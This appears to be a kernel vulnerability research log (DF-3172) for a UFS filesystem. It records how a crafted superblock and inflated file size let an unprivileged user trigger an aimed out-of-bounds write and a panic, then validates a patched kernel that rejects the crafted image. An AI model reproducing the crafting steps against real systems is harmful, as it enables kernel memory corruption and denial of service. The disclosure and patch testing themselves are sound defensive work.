=== DF-3172 aimed-variant run (stock #0 kernel) ===
setup: legit newfs -b 4096 image; maxx builds /mnt/poc/d/g (100 KB, i_ib[0]=16384 real,
       ino 4033); umount; inopatch di_size -> 1,099,507,482,624; craft fs_nindir -> 2^28;
       remount (accepted without complaint).

[host] vm.sh run_user '/tmp/aim3172 /mnt/poc/d/g shrink'
uid=1001 euid=1001 path=/mnt/poc/d/g mode=shrink
[1] ftruncate shrink to 1099507478528 -> aimed 4100-byte zero at b_data+1073737724 (+1GiB)
   << ssh never returns; guest panics >>

serial console (panic_aimed.txt):
panic: assertion "obj != NULL" failed in vm_object_hold_shared at /usr/src/sys/vm/vm_object.c:330
...
--- trap 000000000000000c, rip = ffffffff80bca670 ---
memset() at memset+0xf0 0xffffffff80bca670
Debugger("panic")

=== earlier aimed attempt that crashed in the EXTEND (sibling sink, same root cause) ===
maxx extends a fresh file to S=1,099,507,482,624 under fs_nindir=2^28:
panic: assertion "obj != NULL" failed in vm_object_hold_shared
--- trap 000000000000000c, rip = ffffffff809062e7 ---
ffs_balloc() at ffs_balloc+0x5e7 0xffffffff809062e7
  -> ufs_getlbns in_off = (lbn-12) % 2^28 = 268,434,431
     ffs_balloc.c:297 nb = bap[indirs[i].in_off]  ==  read at b_data + 1 GiB OOB

=== DF-3172 patched-kernel validation (kernel #1, fix.diff applied in-guest) ===
[T1 regression, legit newfs -b 4096, no craft]
uid=1001 euid=1001 path=/mnt/poc/d/f mode=extend
[2] extend ok (sparse, triple-indirect allocated under LEGIT geometry)
uid=1001 euid=1001 path=/mnt/poc/d/f mode=shrink
[1] ftruncate shrink to 550831706112 ...
SHRINK_RC=0
final size=550831706112
maxx
(guest up; normal truncation of a 560 GB sparse file works)

[T2 run-A craft: fs_nindir 1024->512]
mount_ufs: /dev/vn0 on /mnt/poc: incorrect super block
SETUP2_RC=1
(guest up; crafted geometry rejected with EINVAL at mount)

[T3 run-B craft: fs_nindir -> 2^28]
mount_ufs: /dev/vn0 on /mnt/poc: incorrect super block
MOUNT_RC=1
guest_up_ok